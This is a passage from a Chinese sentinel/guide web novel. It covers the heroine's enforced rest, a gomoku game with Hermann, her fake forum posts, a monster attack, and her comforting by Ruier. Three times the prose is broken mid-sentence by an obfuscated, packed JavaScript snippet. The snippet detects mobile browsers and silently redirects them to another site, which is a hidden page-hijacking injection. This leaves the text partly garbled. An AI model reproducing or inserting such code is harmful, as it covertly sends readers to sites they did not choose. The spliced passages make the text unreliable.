时诺已经习惯自己听不懂她的话了,于是只在一旁安静地坐着,试图理解。 身为白塔内的唯一S级向导,时诺每天也有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421665|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作要处理,陪了她没一会儿就必须要离开。 冬晴在他离开前答应躺到晚上才能走,但是刚闲坐了十五分钟,就觉得浑身刺挠。 呵呵,谁真跟你躺到晚上?出院旅行说走就走! 她刚把身上连接着仪器的一些电极贴全扯了,正要从病床上下来,就猝不及防听到敲门声。 冬晴顿时吓成鹌鹑:卧槽,老板进化了?还知道杀回马枪了?! 她这边还在手忙脚乱地收拾,病房门就已经打开了一条缝。 “向导姐姐?” 这声音,这称呼。 害!不是时诺向导!吓死她了! 她朝门外的方向看去,发现瑞尔正站在门口,可怜兮兮地盯着她。 见她一时没反应,只好小步走进病房,在背后关上门,期期艾艾地说: “姐、姐姐,你还记得我吗?” 冬晴一愣。 还记得他吗?什么意思? 是怕她又失忆吗? 真是的,哪有那么容易就又…… 想到这,冬晴心中登时冒出一个坏笑着的小恶魔—— 可怜的小狗呀,又要被坏姐姐戏弄了,桀桀桀! 她一边在内心狂妄地奸笑,一边在面上装出一副茫然的样子,随后露出一个尴尬而不失礼貌的微笑: “抱歉,请问你是……” 演完这一出,她觉得还可以在B组向导里设置两个“奥斯卡奖”和“北影教材奖”,这样她就变成白塔唯一一位双料导后。 瑞尔听见她的话,直接愣在原地,表情出现长久的空白。 无措到失魂落魄的样子。 额—— 会不会玩过头了?冬晴于心不忍地想,二次伤害好像确实有点残忍。 她刚想说自己是开玩笑的,就看到瑞尔动了动。 他大步径直走过来,拉开病床边上的椅子,坐下,然后把头埋进冬晴身上的被子里。 声音从里面闷闷地、打着颤地传出来:“忘记了、忘记了也没关系……姐姐的气味没有变,那就都不会变……忘记了也没关系。” 冬晴的心脏突然重重落了两拍,又慌又涨。 不对不对不对……这绝对不对…… 冬晴有种直觉:再骗下去绝对会出大事情…… 她表情皱在一起,语无伦次地解释:“瑞尔、瑞尔!对不起啊,我是想跟你开个玩笑,对不起对不起,我没有忘记你!” 瑞尔的脸缓缓从被子里抬起来,懵懂地仰头看着冬晴,眼神重新亮起一点微弱的光彩。 冬晴看到他脸上有几道泪痕,被子上也洇湿了一点。 “真的?” 在他说这句话时,一滴豆大的泪珠从他卧蚕上滚了下来。 “轰隆——” 冬晴感觉自己被雷劈了。 劈得好……她简直就是嘻嘻哈哈地造了个大孽啊。 “真的真的。”冬晴说着,忙不迭抽了几张面纸递给他,让他擦泪,然后双手举起,像是投降一样坦白,“没忘记,什么也没忘记!就是想逗你一下……” 瑞尔乖乖把脸擦干净,垂着脑袋,好不可怜。 冬晴良心遭受谴责,想要再好好跟他道个歉。 却见瑞尔突然又一下把脸埋进被子里。 耳朵和脸颊热热的,感觉有点害臊—— 竟然在姐姐面前哭了…… 14. 第 14 章 冬晴用了毕生所学、花了九牛二虎之力,试图把瑞尔哄好。 但她发现自己在这一项技能上也许真的毫无天赋,好话讲得她口干舌燥,瑞尔的脸怎么还越来越红了? 而且只低着头,不说话,怎么看都是还在委屈吧? 往深里一想更觉麻烦,不是说什么污染都是因为负面情绪,那她这回不是白白害得瑞尔污染加重?! 不行不行……她得负起责任来。 这就导致冬晴原本出院的计划也泡汤了,一直在病房里哄狗哄到晚上。 直到瑞尔红着脸小声嗫嚅:“姐姐,我真的、真的没有不高兴了,脸红是因为……是因为热的!” 眼看时间也晚了,虽然冬晴不知道他怎么能热一下午,但还是决定暂且放过自己,回宿舍睡觉去了。 才刚昏睡过整整三天,冬晴的精神头特足。 第二天起了一个大清早,在食堂里表演了个口吞仨肉包,最后叼着杯豆浆去休息室。 她连门把手都还没碰到,就感觉有人从背后揪住她的衣领,把她往反方向拎。 该说不说,这人应该还挺高的,因为冬晴被拎起来时感到了一种强烈的拉伸感…… 她抻着脖子,手脚并用地对着空气一顿拳打脚踢,试图让自己停下被拖走的步伐: “哪个天杀的?!有没有礼貌?我就这么几件休闲装!别给我扯坏了!” 那人拖着她的力道依旧没有松开,只冷冷吐出一个字:“我。” 然后冬晴就不动了,表情无奈而绝望,任由自己被拖走。 在时诺向导的办公室里,和一张刚从冰箱冷藏里取出来的脸大眼瞪小眼—— 冬晴实在忍无可忍,一拍桌子站起来:“赫尔曼队长!你给俺个说法!你到底要干啥!” 赫尔曼无波无澜地看着她:“时诺最近很忙,他说不能亲自盯着你,叫我来。” “然后你就同意了?!”冬晴难以置信,摆出一副痛心疾首的样子,“赫尔曼队长同志,面对那种无良上司的压迫,我们无辜而有良知的人民应该团结起来,一致对外呀!” 她这种说辞骗骗瑞尔还行——虽然智商很高的边牧其实也不会相信,只是觉得好玩,愿意陪着她玩。 但杜宾犬显然是不会顺着她的意思。 赫尔曼那张毒寡夫的脸上总算出现了点生动的表情,他抬了抬眉,嗤笑一声,戏谑道:“无良上司?这话你敢当着时诺的面说,我就跟你团结起来。” 冬晴一挥手,表示此事不要再提。 烦躁地坐回位置上,小声道:“没意思。” 赫尔曼确实是个很没意思的人。 时诺希望他帮助自己把冬晴拎到办公室里盯住,他答应,然后就真的把冬晴拎到办公室里盯住。 除此之外,连主动开口说半句话都不。 短短十分钟,冬晴多动症一般在座位上换了八百个姿势。 最后真的耐不住,整个上半身趴在桌上,双手合握,对他比了个“拜托拜托”的手势: “求你了赫尔曼队长,不工作我真的会死的。” 赫尔曼不明白,淡淡表达自己的看法:“你工作了才会死。” “哎呀跟你们真是说不明白!”冬晴挫败地把手臂耷拉回桌子上,头往里埋了埋。 工作就是生命啊……这是她赖以生存的东西…… 赫尔曼沉默地看着她肉眼可见地愈发焦躁,觉得这应该不是个好征兆,忽然开口: “你可以和时诺一样,去高层议会工作,他们每天似乎只需要审批文件,开会讨论之类的。” 高层议会? 冬晴闻言把头从手臂里抬起来,懵懵地看着他。 原来他们现在所处的只是白塔底层?还有高层人员啊…… 她知道白塔很大,很多地方自己都没涉足过,也没有要去探索了解的想法。 每天就在宿舍、食堂、向导区,三点一线地履行自己的轨迹,宛如一个只被开放了某些楼层权限的npc。 就像从前,她也知道那个世界很大,却不得不困在家里,偶尔出门也很难离开那一亩三分地。 她的生活从某种意义上来说,似乎从一始终,没有改变。 赫尔曼看她走神,以为她动了念头,继续道:“你之前完成过跨级链接,帮A级哨兵净化过,可以让时诺把A级向导组长的位置给你,这样你就是向导部的副部长,就有资格进入高级议会。你每天那么不辞辛苦地在他面前说他好话,他不会连这点都不帮你。” 她兴致不高,恹恹地说:“唉,也不要把别人的生活想得太轻松了,工作哪有不累的。” 赫尔曼:“但应该比你轻松,我没听说过有人开会把自己开晕的。” 冬晴嘴角抽了抽:你是在跟我讲冷笑话吗? 知道他是在替自己想办法,冬晴还是心存感恩,对他说了声“谢谢”。 赫尔曼不适应地抿着唇,低低“嗯”了一声。 又在桌子上趴了三十分钟,睡也睡不着,冬晴简直无聊得头疼。 一想到自己那么多排班都被推了,她更是压力爆增,放出精神体想给自己减减压。 “什么情况,怎么褪色了?” 冬晴看着飘在空中,不再发荧光绿,反而灰扑扑的,看起来死气沉沉的小球,自言自语道。 赫尔曼同样看着那东西,虽然已经有了答案,但还是不敢相信地问:“这是什么?” “我的精神体啊。”冬晴没看到赫尔曼有些崩裂的表情,担忧道,“它以前还是绿色的,现在怎么变这样了,是因为我精神力透支吗?” 赫尔曼垂头揉了揉眉心,显然被这惊骇世俗的精神体威慑了一下,又“嗯”了一声。 “好吧。”冬晴只能道。 她把灰色小球捏在手里,玩了没一会儿,脑中突然闪过什么,眼睛一亮: 上次怎么没想到,她的精神体就很适合当狗狗玩具啊,可是瑞尔不在—— 狗倒是另有一条。 冬晴犹豫了一会儿,估算着自己被弄死的可能性,大着胆子问:“赫尔曼队长,你能不能也把精神体放出来,然后我把这球扔出去,你的精神体……” “不可能。”赫尔曼掀过去一眼,咬牙切齿地打断她。 冬晴立马坐成小学生:“好的,我知道了。” 她觉得赫尔曼刚刚那眼其实是在问候她:你是不是想死了? 没法子,唯一的联机对象拒绝了她的邀请,只能自己一个人单机玩。 冬晴后仰躺倒在椅子上,拿精神体当弹力球,往天上抛,好几次粘在天花板上,差点下不来。 又这么自顾自地玩了半小时,她觉得自己再这么闲下去,离死亡也就不远了。 于是作为没办法的办法,她在时诺的办公室里溜达起来。 路过一大叠文件的时候,竟然在里面看到一张被画得乱七八糟的草稿纸—— 上面有三盘五子棋,是上次监视失控的赫尔曼时,冬晴自己和自己下的。 时诺向导竟然连草稿纸都不扔,好环保,她想。 上次一个人玩是因为时诺和伊莱都在忙,而赫尔曼在失控边缘,她不敢瞎招惹。 但今天…… 冬晴俏咪咪地扭头看了身后的赫尔曼一眼,其实也没有到完全不好说话的地步。 于是她将那张草稿纸抽出来,又找了两支笔,带着重新燃起的对生活的希望,回到桌边。 她在赫尔曼冷淡询问的眼神里,冲他抖了抖那张草稿纸,不太确定地问:“赫尔曼队长,你知不知道,五子棋?” 看着他眼里的一点点茫然,冬晴就明白他没听说过了。 冬晴在内心仰天长啸:这到底是给她干哪儿来了,为什么连五子棋都没有啊?! 没关系,无伤大雅,她可以教。 在向赫尔曼心平气和地解释了一遍规则之后,冬晴就自顾自地在草稿纸上画起了丑丑的棋盘。 她没问赫尔曼愿不愿意和她玩,毕竟没说就代表默认。 万一她一问,他拒绝,那怎么办,让她继续左右脑互搏吗…… “搞定!”冬晴对自己的丑棋盘很满意,率先在中间画了个黑点,“我当黑棋,然后轮到你了。” 在冬晴闪着光的殷切恳求的目光中,赫尔曼无奈地“啧”了一声,最终还是拿起笔,在那颗黑棋旁边落了颗白棋。 冬晴发自内心地表示欣慰:“赫尔曼队长你实在太聪明了!居然都没有把棋子画在格子中间!” 赫尔曼:“啧。” 冬晴:“好了,我不说了我不说。” 除去一开始赫尔曼不太了解规则,被冬晴用“裤衩阵”之类的流氓阵法套路了几次,两人总体来说还是平分秋色。 后来冬晴又教他玩了井字棋,感觉彻底回到了学生时代,在晚自习和同桌刺激地玩耍。 这样打发起时间就显得不那么难熬。 冬晴玩累了之后把笔一摔,单手托腮,看着天花板。 有感而发地侃侃而谈:“唉!其实真正的五子棋不是这样的,是圆圆扁扁的小棋子,放在真正的棋盘或者棋布上面玩,这里怎么什么都没有……” 赫尔曼不接话,只淡淡地看着她。 夕阳不知什么时候从窗外落进来了。 等吃过晚饭,冬晴才获得自由,马不停蹄地跑回宿舍和艾拉痛诉不能工作的苦,艾拉表示理解无能。 第三天,冬晴特意起得更早了,天还蒙蒙亮,她估计连鸡都没醒,甚至换了件低领的衣服,直接跑去静音室。 一切都是为了防止再次出现昨天那样的惨案。 当然,被拎着脖子带走时,她就有些后悔这个选择了。 这些惨无人道的、惨绝人寰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421666|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、欺男霸女的、欺凌弱小的S级,有一个算一个——虽然只有赫尔曼和时诺,她要在白塔论坛上曝光他们的恶劣行径!! 三分钟后。 原本打算做一名不畏强权的战地记者的冬晴,成功当上了无良营销号。 她在津津有味地撰写自己的匿名五星好评,甚至还藏不住得意嘴脸地问赫尔曼: “话说赫尔曼队长,你有没有在论坛上看到过关于赞扬本人净化技术高明的帖子?” 赫尔曼其实并不怎么看白塔论坛,如果有正式通知和紧急消息,高级议会的人会直接和他对接,因此论坛对他而言,就是个充满八卦闲谈的娱乐场所。 但听她这么说,便打开光脑登上去看了看。 首页上,连着三条的匿名高回复帖子霎时映入眼帘—— [匿名]:被问了一百遍的B级向导,绝了! [匿名]:后悔没早点发现这名B级向导! [匿名]:救命!竟然还有人不知道这个B级向导? 淳朴善良的白塔人民哪里见过这架势,即便是A级、S级哨兵也全都被骗了进去。 然后被迫观看了大几百字天花乱坠的夸奖,没有技巧,全是感情。 冬晴原本是想着,名声在外有好有坏,标题党被骂了就骂吧,只要业绩好看,别的都不是问题。 结果……白塔人民真是单纯得出乎她的意料,不仅没人骂她虚假标题,甚至连跟帖评论的画风都是清一色的夸夸。 这搞得冬晴有点良心不安啊。 于是她良心不安地开始编辑第四篇,标题为:有这样的B级向导你几点回白塔? 赫尔曼沉默地把三篇帖子看完,并且给底下几个夸她净化技术好、人美心善、尽职尽责的评论挨个点了赞。 随后把目光移到正满脸兴奋地打字的冬晴身上,平静问:“都是你写的?” 冬晴默认,并随口开玩笑:“你要不要帮我也写几篇?” 她对天发誓,这绝对是一句玩笑话,甚至有点调戏的意思,她可以为自己的大不敬火速滑跪。 但,万分恐怖的是,她瞥见赫尔曼冷淡地点了点头,然后在光脑上编辑起了文字。 她下巴都快吓掉了。 冬晴在这一刻感激涕零地宣布,S级里的坏人只有她的上司! 看着赫尔曼认真专注的神色,她莫名觉得紧张又惶恐,连第四条帖子也不编辑了,就在主页不断刷新,等着看他能写出什么东西来。 一分钟后,主页果然跳出一条新帖子。 看到发帖人,冬晴先吓了一小跳。 因为赫尔曼竟然是使用实名账号发的,并且名称十分简洁明了,就叫“S级哨兵赫尔曼”。 接着,看到贴子内容,冬晴吓了一巨跳。 那条帖子是这样的—— [S级哨兵赫尔曼]:B级向导冬晴由于长期过度净化哨兵,导致精神力透支,由我暂时看管,望周知。 底下评论的数量正在激增。 [某位不愿意透露姓名的哨兵]:天呐!这也太伟大了!你们B级哨兵有那么多向导,能不能不要总麻烦人家! [白塔我最帅]:怎么会这样!我就是B级哨兵,我以后一定不找冬晴向导净化了! [努力升A中]:我说怎么这两天冬晴向导的静音室禁止预约,原来是这样,冬晴向导一定要好好休息啊TT,我以后都会找别人的TT。 [全世界最棒的小狗]:向导姐姐QAQ,大家请不要打扰姐姐了,队长请好好照顾姐姐!我有在好好训练! [拥有六份奖金的女人]:我愿意用我这辈子所有的奖金和五险三金(别问我这是什么,因为我也不知道)换冬晴姐不再是工作狂。 冬晴:??? 冬晴:!!! 她辛辛苦苦积攒的名声,一字一句打下的好评! 全因为他这帖子给毁了!!全毁了!! 善良的白塔人民再也不会来找她净化了!! B级哨兵们,卡机嘛!!! 在冬晴目眦欲裂,还没从这种失业般的痛彻心扉中缓过神来时,雪上加霜的,她看到了消息栏里的三个红点。 点进去一看,竟然是她之前的那三个帖子全被举报成功,封贴了?! 更令她忍无可忍的是,举报原因只有冷漠的四个字:她是冬晴。 冬晴:??! 冬晴:叫冬晴招你惹你了?!管理员给我滚出来啊!我们有场自由搏击你别跑!! 同时,耳边又响起赫尔曼一贯的、如死水般毫无起伏的声音: “我把你的帖子举报了,时诺是论坛的管理员之一,他把我的帖子置顶,设置成公告了。” 冬晴:??!! 胸膛剧烈起伏五秒后,她一边在心里吐血,一边喊着“我要杀了你们S级”什么的冲了过去。 15. 第 15 章 匿名帖子被一锅端,论坛账号喜提半个月禁言,对她精神力状况的通报还高高挂在置顶。 冬晴觉得这暗无天日的生活真是一点盼头都没有了。 三,二,一,跳—— 她从草坪边缘的维护石栏上跳下来,双手插在上衣口袋里,无所事事地闲逛着。 赫尔曼盯了她三天后就回去训练了,于是又轮到那位表面给她升职加薪、背后把她封帖禁言的好上司。 五天下来,冬晴真的快淡出鸟了,她申请在外游荡一天。 看在眼下全白塔都有个公知:哪名B级哨兵如果去找冬晴净化,那他就是在残害向导,罪无可赦的份上,时诺同意了。 于是,冬晴走在旷阔的公共训练场边上,期待能突然有个污染严重的B级哨兵跳出来,请求她帮忙净化。 善良的白塔人民岂能见污染不救? 她将会充分发挥舍己为人的精神,坐下来好好享受工作,然后在众人的表彰之中,把这一次的净化计入本月业绩。 幻想很美好,然而现实…… 现实是这个训练场现在几乎没人,因为此刻正值饭点,大家都吃饭去了。 而冬晴实在太无聊,就在早一点的时候,趁着人少,食堂还没那么多奇奇怪怪的精神体,先把中饭给吃了。 “唉!天要亡我……” 她的仰天长啸还没结束,整个白塔上空突然回荡起一阵广播: “一级警报!所有处于室内的人员不要走动,处于室外的人员迅速回到室内!污染物入侵白塔,现位于1072训练场,S级哨兵正在赶来,请不要恐慌!” “重复……” 严肃而厚重的声音在头顶盘旋,冬晴在听到广播提醒后的第一秒就拔腿往里跑。 一边跑一边在心里想:卧槽啊啊啊!什么污染物入侵?!以后再也不说不吉利的话了!还有她这里应该不是1072训练场吧?!! 她走得太远,导致跑了好一会儿还处于训练场中间的位置。 腿已经有点重了,肃穆的广播依旧没有停下,简直像死神下的最后通牒。 冬晴感觉到肺很难受,不得不张开嘴呼吸,眼睛被突如其来的一阵风吹得快要睁不开。 而就在她忍着刺痛狂眨眼睛时,侧前方看到的一幕让她整个人僵直在原地。 “扑通扑通扑通扑通。” 心脏跳得和她猝死的那夜一样快,是来自身体本能的,关与死亡的预警。 侧前方的视野里,那儿原本是一片茂密高大的树林,而此时正在剧烈疯狂地抖动着—— 那后面有东西!是什么?污染物吗?! 下一秒,冬晴的瞳孔放大,呼吸停住。 一个巨大的、褐绿色的、粗糙的、圆柱形的东西,笨重地探了出来。 上面还长着几根脚趾,分不清是几个,因为有点畸形,都粘连在了一起。 这他大爷的是恐龙的脚吧?! 老天,搞错了吧…… 她要的是突然跳出来的B级哨兵,绝对不是突然跳出来的远古生物啊?! 然而,等那东西彻底从树丛后现身时,冬晴宁愿它是只恐龙。 她艰难地眯着眼,辨认这庞然大物—— 一只两脚站立的、大概有四五米那么高的,体型像一栋老式居民楼的,乌龟?!! 你大爷的,他大爷的,死乌龟大爷的…… 冬晴现在跑都不用跑了,因为看起来不管怎么跑,都会在这东西的射程范围之内吧?! 那东西每次笨重地挪动一点儿,她都感觉大地在震动。 乌龟……超级无敌plus版就算了,毕竟这里还有超级人类,但两脚站立是什么意思啊?! 这也太诡异了吧?!眼睛就只能看天了吧?! 冬晴表情扭曲地抬了抬眼,结果,像是为了证实她的猜想,她看到—— 那乌龟原本竖直的脖子和脑袋,突然缓慢地弯了下来,像条巨大的蟒蛇一样,朝她的方向伸了过来…… 卧槽!!!! 不跑是傻屌!!! 冬晴没有任何犹豫,全凭本能,转身就跑。 一边跑,一边根据大地震动的频率,她都能想象那污染物一边迈着沉重的脚追过来,一边伸长脖子看她的画面。 槽啊啊啊!!她今天到底为什么要那么早吃饭!!! 不仅遇上了这种东西!现在饭也全部要吐出来了啊!! 完了…… 感受到身后有股巨大的力量袭来时。 冬晴想:这货都已经逆天成这样了,甚至还不是物理攻击,还他爹的有魔法! 她拼死转过身,用仅剩的精神力在自己面前升起了一层屏障。 在那股力量击打中她屏障的前一秒。 身边掠过一阵强风,有人挡在了她面前。 她感知到一股极度致命的精神力破风冲出,如一把实质的重刀,直直斩向那怪物伸长的脖子。 “闭眼。” 冬晴听到身前人低哑的嗓音。 但已经来不及了。 她清清楚楚地看见,在怪物的脖子被暴力斩断、污浊的血液喷溅出来的前一秒。 有数不清的眼睛从它狰狞的脖子上忽地睁开,圆滚滚的眼珠子全部、全部愤怒地盯着她! 却又在下一秒统统消失,好像一切都是她的幻觉。 那也许不是它的脖子……那只是无数块眼皮组成的皮肤。 冬晴呼吸声变得很重,抑制不住地在打颤,她想干呕。 怪物的尸体倒在地上,大地发出可怜的震荡,尘埃弹到空中。 赫尔曼转过身来。 他身上沾了污染物的血液,很脏,所以不敢靠近她,只能尽量让自己的声音听起来平和一点: “我送你回休息室……还是你想一个人待一会儿?时诺现在没办法过来。” “我、我回静音室。”冬晴努力维持着理智,牙关发颤,她现在只想找一个完全不会被人打扰的地方。 “我自己回去就行。”她说。 赫尔曼没有再讲什么,只是放出自己的精神体,让杜宾犬跟在她身边。 他突然有点感谢冬晴对于精神体特别的看法,起码让他在这种时候能用这种方式看着她。 - 脖子上的眼睛、密密麻麻的眼睛。 全部挤在一起、盯着她、狠狠地盯着她! 冬晴坐在静音室的沙发上,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421667|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脊弯曲,头抵着膝盖,神经质地咬着自己的手指关节。 污染物死亡的画面在她脑海里挥之不去。 很多很多的眼珠,一瞬间全部转向她。 哈?这竟然不是梦里的画面?那一定是疯了吧? 关节处的皮肤已经被咬破了,血珠染在她的牙上。 脚边的杜宾犬不太熟练地蹭着她发抖的小腿,可她已经什么知觉都没了。 真是疯了才会看到这种东西吧?这到底是不是梦?她不是死了吗? 对了,她是死了,死了…… “叮咚!” 一声门铃将她惊醒,涣散的眼瞳也在一抖后重新聚焦。 没有等她问,门外的人就自报家门:“是我,赫尔曼。” 冬晴猛地站起身,这才看到指侧的一点血迹,迅速用拇指抹掉,过去开了门。 赫尔曼已经换了身干净的衣服,走进她的静音室。 然而冬晴此刻没有半点招待的心情,自顾自地重新坐回沙发上坐下。 她把脸埋进自己的右手手掌里,一闭上眼就全是那种恶心的画面。 静了好半晌她才开口:“我这样就算被污染了吧?” “嗯。”赫尔曼垂着眼回答,他今天话格外多一些,“向导也会被污染,但没有被净化的先例,所以很多跟队向导在污染达到临界点后就会被加入出任务的黑名单了,否则一旦失控,是救不回来的。” 真的好痛苦啊…… 赫尔曼的话她早就没有在听了,整个人像是被扔进全是粘稠浑浊不知名液体的大桶里。 爬也爬不出去,还要眼睁睁看着那种恶心东西腐蚀自己。 槽……疯了……她想回去…… 这种东西要怎么面对,又要怎么忘掉啊。 这帮人竟然动不动就要和这种东西打交道吗? 这一刻,冬晴想起,她曾经以轻松或玩笑的口吻讲过的很多话,关于哨兵、关于污染、关于这个世界。 她懊悔得连对不起三个字都说不出来,也不知道要对谁说。 作为一个什么都不知道的外来者,虽然不能完全责怪她。 但她想时诺说得很对,起码、起码要有点敬畏心。 想吐……她不会要死了吧……还不如去死呢。 脑中走马灯似的闪过很多景象,试图盖过那狰狞的场景: 她想回去,她想见甲方妈妈…… 还有谁吗?她想见…… 脑中乍现一道声音,离她最近,最清晰。 清亮的,足以驱散污浊。 她知道了,她要见那个人,她必须见他!像阳光一样的人,会把她照亮的。 冬晴猛地抬起头。 她发现赫尔曼似乎一直在动嘴说话,但她一个字也没听见。 现在也管不了那么多。 她一把抓住赫尔曼的手臂,仿佛抓住最后一根救命稻草: “瑞尔……瑞尔他在训练吗?能不能让他过来?” 她看见赫尔曼似乎不再说话了,她看见他盯着自己的眼睛。 她不知道他要从里面看出什么来,她也分辨不出他的眼神是什么情绪,她只看到他点了头,说: “好。” 16. 第 16 章 等待的过程令人无比焦躁,但好在一想到瑞尔即将来到她身边,冬晴就觉得自己能够忍耐。 她依旧保持着原来的姿势没有动,以蜷缩的坐姿待在沙发上。 脑海中频闪过很多瑞尔和她相处的画面。 他大多数时候都是笑着的,偶尔也会露出无措的表情,甚至前不久还被她惹哭了。 从一开始就不厌其烦地对自己释放善意,遇到她不熟悉的人就会把自己挡在身后,热情仿佛不会衰败。 总是以最可爱的样子面对自己。 像骑士一样的小狗。 再次听到门铃的那一刻,冬晴几乎是冲去出的。 瑞尔急匆匆从哨兵区赶来,此刻胸膛微微起伏,看到门后冬晴有些狼狈的模样,着急靠近她。 关上门,他单手很轻地掌在冬晴的肩头处,弯下腰,仔仔细细地观察她有没有受伤,双眉不自觉蹙起:“姐姐,我听说你遇到污染物了,现在感觉还好吗?” 向导被污染,瑞尔也不知道该怎么办。 感受到掌心里的人正在隐隐发颤,即便心疼得无以复加,他也不敢轻举妄动,只能苍白地用言语安慰:“姐姐,别害怕,我在这里陪着你,不会有事了……” 冬晴专注地看着他,听着他的声音。 鼻尖突然涌上一股咬着牙也无法忍耐的酸意。 她花费了很大的力气,反复犹豫权衡,最后才哽塞地说出: “瑞尔,我能不能……抱你。” 而奇怪的是,等最后一个字音落地,冬晴却突然感受到前所未有的轻松。 就好像一个逆着风,固执地走了很久的人,突然被人推着转了个身。 从而第一次体会到顺应的畅快。 心中酸胀的情绪找到出口一般争先恐后地泄了出来,期待一双能够接住它们的手。 静音室里是隔绝世界万物的寂静。 等待瑞尔结束愣神的两秒里,冬晴再次直面了自己曾经的残忍。 她完全无法想象,如果此刻瑞尔惊慌地拒绝了她,或者吓得直接把门关在她脸上,她会变成什么样。 恐怕真的会疯掉…… 不过瑞尔从来不对她做那么残忍的事。 他只是果断地伸出手臂,借着弯腰俯身的高度揽住冬晴的肩,把她搂进怀里。 用行动作出了应允的回答。 手臂一点一点地收紧,脸颊和脸颊不经意蹭在一起,痒痒的触感。 冬晴抬手抱住他结实的背,将自己的额头抵在他的肩上,闻到一股淡淡的、很清爽的味道。 总算……总算感到双脚踩在地上的踏实和安心了。 一个弯腰,一个踮脚,冬晴还没有要放手的意思,这样抱久了也有点累。 瑞尔想了想,一手下移搂住她的腰,一手托住她的腿,暂且把人给端抱起来。 发现整个人被迫腾空时,冬晴惊得抱紧了他的脖子。 这这、这是干嘛?! 然后瑞尔就带着她移动了起来,走到沙发边上,坐下。 顺着刚才抱着的姿势,冬晴不得不坐在了他的腿上。 非常、非常、非常奇怪……是换作平时她得跳出三米远并大喊“卧槽恶俗啊”的程度。 但此刻,她实在没有心情和多余的力气纠结这个了。 理智、道德、原则、底线,都已经被那污染物洗劫一空。 她现在是个原始人,去热带雨林看到香蕉就开心得嗷嗷叫的那种。 她很没有负担地维持着怪异的姿势,心想:只要抱住手里的人就好了,先得救再说。 看着冬晴完全依赖地紧贴着自己,瑞尔心湖里荡起一圈一圈久久无法停下的涟漪—— 姐姐好漂亮……姐姐身上很香……姐姐在抱着自己。 从头顶热到脖子,想要更加亲密的渴望几乎淹没他。 他咽着口水,在冬晴看不到的地方,脸一点点凑过去贴近。 连呼吸都刻意放轻,生怕自己的气息打在她脸侧,让她察觉从而抗拒。 在嘴唇碰到脸颊的前一秒,瑞尔闭了闭眼。 明明是个下定决心的动作,他却突然停下,转而把自己的脸火速埋到冬晴的颈侧。 脸好烫……姐姐的皮肤好凉…… 毛茸茸的头发蹭过下颚,冬晴感到颈侧传来温热的触感,她甚至能够分辨是哪一部分正贴着自己—— 他的鼻梁、脸颊肉、眼睫扫过,还有…… 还有一片格外柔软的东西。 “咚、咚、咚!” 心脏在狂跳。 是嘴唇……冬晴怔怔地想,瑞尔的嘴唇贴住了她的脖颈。 - 从静音室离开后,冬晴简直有点晕头转向,不过格外精力充沛。 腰也不疼了,腿也不酸了,感觉能徒手打八个污染物了…… 呸呸呸,她瞎说的。 经此一战,冬晴觉得自己有必要改改嘴上不把门的习惯了,得多说说自己即将升官发财娶老公的吉利话才好。 瑞尔的训练还没结束,冬晴便把人送回训练场,本想顺势给赫尔曼道个谢,结果在训练场找了半天,压根没看到人。 那就只好打道回府,然后提前又把晚饭给吃了。 是的,人就是这么死性不改的动物。 给艾拉发完消息报平安,她悠哉悠哉地荡回宿舍,好好泡了个热水澡去晦气,从头到脚都仔细清理一遍。 从浴室出来天都已经黑了,冬晴顶着满身的蒸汽感觉自己快要羽化升仙。 换上睡衣刚要进被窝,就听到宿舍外有一阵脚步声。 根据步伐频率和踩地轻重,冬晴敏锐地分辨出这是艾拉。 她兴奋地跑去把门拉开,正好路过她门口的艾拉被吓了一跳。 冬晴流氓挑眉:“妹妹,我们今天一起睡觉吧!” 艾拉匪夷所思:“冬晴姐,你污染失控了?” 冬晴:系统妹妹,能不能盼我点好…… 她推着艾拉进了宿舍,又催她快点洗漱,最后两个姑娘香喷喷地躺进了被窝。 艾拉其实特别担心她,下午在论坛上看到有人说冬晴向导就在污染物入侵现场时,她魂都快吓掉了。 幸好,像是心有灵犀,在她发消息给冬晴之前,就先收到了冬晴报平安的消息。 “那论坛上有没有我英勇大战污染物的视频资料?”冬晴听艾拉讲故事听得兴致勃勃,问道。 “当然没有!”艾拉说,“污染物的任何资料都是不允许被流通的。” 想想也能理解,那种怪物一样的东西,仅凭照片或者文字描述,也足够给一些人留下心理阴影。 如果不明令禁止的话,只怕污染会像病毒一样在人群里感染传播。 “冬晴姐,你见过污染物之后,没有被污染吗?”艾拉观察着她的情绪,小心翼翼地询问。 “有被污染。”冬晴尽量轻松地把情况告诉她,“下午我待在静音室,有好长一段时间都沉浸在可怕的情绪里,还是瑞拉哨兵来陪我了一会儿,我才慢慢恢复,不过现在已经完全正常了!” 艾拉闻言更觉得那是难以想象的事情,轻轻抱住冬晴,抱怨:“真是的,白塔里 